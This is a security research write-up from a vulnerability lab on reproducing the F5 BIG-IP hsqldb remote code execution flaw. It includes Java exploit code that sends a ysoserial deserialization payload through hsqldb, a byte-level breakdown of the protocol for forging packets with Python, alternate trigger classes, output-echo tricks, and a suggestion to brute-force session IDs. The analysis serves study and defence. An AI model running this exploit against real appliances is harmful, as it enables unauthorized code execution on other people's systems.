Author:Longofo@Knownsec 404 Team
Date: July 10, 2020
Chinese Version: https://paper.seebug.org/1271/
F5 BIG-IP has recently suffered a serious RCE vulnerability. The main public entrypoint is the tmsh and hsqldb. There are many uses and analysis of tmsh. If you have reproduced the use of tmsh, you should know that this place is used. Some tasteless, tmsh will not be analyzed later, mainly look at the use of hsqldb. The use of hsqldb poc has been published, but the https of java hsqldb has been unable to reproduce, try There is no way to do it in various ways, so I have to change other ideas. The following records the process of recurrence and stepping on the pit.
Use the source code to build an hsqldb http servlet
If you have debugged hsqldb, you should know that the code of hsqldb.jar cannot be debugged with a breakpoint. This is because the linenumber table information of the class in hsqldb is gone. The linenumber table is only used for debugging. There is nothing for the normal running of the code. influences. See the difference between the normally compiled class and the lineumber table of the hqldb class:
Use the javap -verbose hsqlServlet.class
command to see the details of the hsqlServlet.class class in hsqldb:
Classfile /C:/Users/dell/Desktop/hsqlServlet.class Last modified 2018-11-14; size 128 bytes MD5 checksum 578c775f3dfccbf4e1e756a582e9f05c public class hsqlServlet extends org.hsqldb.Servlet minor version: 0 major version: 51 flags: ACC_PUBLIC, ACC_SUPER Constant pool: #1 = Methodref #3.#7 // org/hsqldb/Servlet."<init>":()V #2 = Class #8 // hsqlServlet #3 = Class #9 // org/hsqldb/Servlet #4 = Utf8 <init> #5 = Utf8 ()V #6 = Utf8 Code #7 = NameAndType #4:#5 // "<init>":()V #8 = Utf8 hsqlServlet #9 = Utf8 org/hsqldb/Servlet { public hsqlServlet(); descriptor: ()V flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: invokespecial #1 // Method org/hsqldb/Servlet."<init>":()V 4: return }
Use javap -verbose Test.class
to see the class information we compiled:
Classfile /C:/Users/dell/Desktop/Test.class Last modified 2020-7-13; size 586 bytes MD5 checksum eea80d1f399295a29f02f30a3764ff25 Compiled from "Test.java" public class Test minor version: 0 major version: 51 flags: ACC_PUBLIC, ACC_SUPER Constant pool: #1 = Methodref #7.#22 // java/lang/Object."<init>":()V #2 = Fieldref #23.#24 // java/lang/System.out:Ljava/io/PrintStream; #3 = String #25 // aaa #4 = Methodref #26.#27 // java/io/PrintStream.println:(Ljava/lang/String;)V #5 = String #19 // test #6 = Class #28 // Test #7 = Class #29 // java/lang/Object #8 = Utf8 <init> #9 = Utf8 ()V #10 = Utf8 Code #11 = Utf8 LineNumberTable #12 = Utf8 LocalVariableTable #13 = Utf8 this #14 = Utf8 LTest; #15 = Utf8 main #16 = Utf8 ([Ljava/lang/String;)V #17 = Utf8 args #18 = Utf8 [Ljava/lang/String; #19 = Utf8 test #20 = Utf8 SourceFile #21 = Utf8 Test.java #22 = NameAndType #8:#9 // "<init>":()V #23 = Class #30 // java/lang/System #24 = NameAndType #31:#32 // out:Ljava/io/PrintStream; #25 = Utf8 aaa #26 = Class #33 // java/io/PrintStream #27 = NameAndType #34:#35 // println:(Ljava/lang/String;)V #28 = Utf8 Test #29 = Utf8 java/lang/Object #30 = Utf8 java/lang/System #31 = Utf8 out #32 = Utf8 Ljava/io/PrintStream; #33 = Utf8 java/io/PrintStream #34 = Utf8 println #35 = Utf8 (Ljava/lang/String;)V { public Test(); descriptor: ()V flags: ACC_PUBLIC Code: stack=1, locals=1, args_size=1 0: aload_0 1: invokespecial #1 // Method java/lang/Object."<init>":()V 4: return LineNumberTable: line 1: 0 LocalVariableTable: Start Length Slot Name Signature 0 5 0 this LTest; public static void main(java.lang.String[]); descriptor: ([Ljava/lang/String;)V flags: ACC_PUBLIC, ACC_STATIC Code: stack=2, locals=1, args_size=1 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #3 // String aaa 5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: return LineNumberTable: line 3: 0 line 4: 8 LocalVariableTable: Start Length Slot Name Signature 0 9 0 args [Ljava/lang/String; public void test(); descriptor: ()V flags: ACC_PUBLIC Code: stack=2, locals=1, args_size=1 0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream; 3: ldc #5 // String test 5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V 8: return LineNumberTable: line 7: 0 line 8: 8 LocalVariableTable: Start Length Slot Name Signature 0 9 0 this LTest; } SourceFile: "Test.java"
We can see that in the class you compiled, each method has a LineNumberTable. This information is used for debugging, but there is no such information in hsqldb, so it is impossible to debug breakpoints. hsqldb should add some parameters during compilation or use other ways to remove this information.
No way to debug is a very uncomfortable thing, I think of two now to debug:
- Decompile the code of hsqldb and recompile it by yourself, so that there is linenumber information, but decompilation and recompilation may encounter some error problems. This part has to manually correct the code manually, which is indeed feasible. This way can be seen in the hsqldb analysis of f5
- Open source code, run directly with source code
The code of hsqldb happens to be open source, so let's start a servlet directly with the source code.
Environment:
- The hsqldb source code is 1.8, and the new version is now 2.5.x. To match the hsqldb in f5, use the 1.8 code.
- JDK7u21, JDK7 used in F5 BIG-IP version 14, so try to match it to avoid various problems.
Although it is open source, there are still some problems when dragging to idea. I modified some codes to let him run normally. The modified code is put in github on, the final project structure is as follows:
Use http to exploit the hsqldb vulnerability (ysoserial cc6, many other chains are also acceptable):
public static void testLocal() throws IOException, ClassNotFoundException, SQLException { String url = "http://localhost:8080"; String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser"))); System.out.println(payload); String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/"; Class.forName("org.hsqldb.jdbcDriver"); Connection connection = DriverManager.getConnection(dburl, "sa", ""); Statement statement = connection.createStatement(); statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')"); statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');"); }
Use requests to send packets to simulate hsqldb RCE
The java hsqldb https problem cannot be solved, then use requests to send https packages, first simulate the http package. Grab the payload package sent using the java code above, a total of three packages were sent, the first is the connection package, which is connected to the hsqldb database, and the second and third packages are the packages that execute the statement:
According to the code, look at the specific information returned by the first data packet. The main read and write information is handled by the Result class, which is 20 bytes in total:
- 1~4: total length 00000014, a total of 20 bytes
- 5~8: mode, connection is ResultConstants.UPDATECOUNT, is 1, 00000001
- 9~12: databaseID, if the default configuration is directly like the above, databaseID will not be assigned on the server side, initialized by jdk to 0, 00000000
- 13~16: sessionID, this value is the value assigned by DatabaseManager.newSession, each connection is a new value, this time is 00000003
- 17~20: for connection, it is updateCount. Note the max rows (out) or update count (in) written above. If the default configuration is as above, updateCount will not be assigned on the server side, initialized by jdk to 0, 00000000
After the analysis of the connection information is completed, the next packet will definitely use the information of the first returned packet and attach it to the subsequent sending packet. Here only the second sending packet is analyzed, and the third packet is the same as the second one. , Are all packages that execute statements:
- 1~4: The total length is 00000082, here is 130
- 5~8: mode, here is ResultConstants.SQLEXECDIRECT, 0001000b
- 9~12: databaseID, which is 00000000 above
- 13~16: sessionID, which is 00000003 above
- 17~20: updateCount, which is 00000000 above
- 21~25: statementID, this is sent by the client, in fact it does not matter, this time is 00000000
- 26~30: Length of execution statement
- 31~: All statements are executed later
It can be seen that the above processing process is very simple. Through this analysis, it is easy to send requests using requests. For https, just set verify=False.
Deserialize the trigger position
The trigger position of deserialization here is:
In fact, it is not caused by org.hsqldb.util.ScriptTool.main, but by the deserialization caused by the parsing of the syntax of the hsqldb parser. Just change the ScriptTool to another one, for example, org.hsqldb.sample.FindFile.main
is also ok.
F5 BIG-IP hsqldb debugging
If you still want to debug the F5 BIG-IP hsqldb, it is also possible. The hsqldb in the F5 BIG-IP adds some code itself, decompiles his code, then corrects the decompiled code error, and then repackages it. It can be debugged.
F5 BIG-IP hsqldb echo
- Since it can be deserialized, it can be written to the response using the template-related utilization chain
- Use the command to find the fd file of the socket and write it to the socket
- This time, there is already a fileRead.jsp, and you can write command result to /tmp,then use fileRead.jsp to read it.
Hsqldb connection security risks
As can be seen from the data packet, hsqldb does not return much information for the first time. The additional information used later is databaseID, sessionID, updateCount, which are only 4 bytes (32 bits), but there are always small numbers The connection is ranked first, so you can blast out the available databaseID, sessionID, updateCount. However, for this F5 BIG-IP, just use the default above, without blasting.
Sum up
Although I didn’t write much, it seemed quite easy after writing, but the process was actually some difficult. At the beginning, I didn’t look at the package based on the code. I just sent a few packages for comparison and then wrote a script, but I couldn’t run on F5 BIG-IP hsqldb, the F5 hsqldb code is still debugged later, and many problems I have solved. At the same time, I also saw that there are certain security risks in hsqldb. If we directly blast databaseID, sessionID, updateCount, it is may be easy to blast out the available databaseID, sessionID, updateCount.
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1272/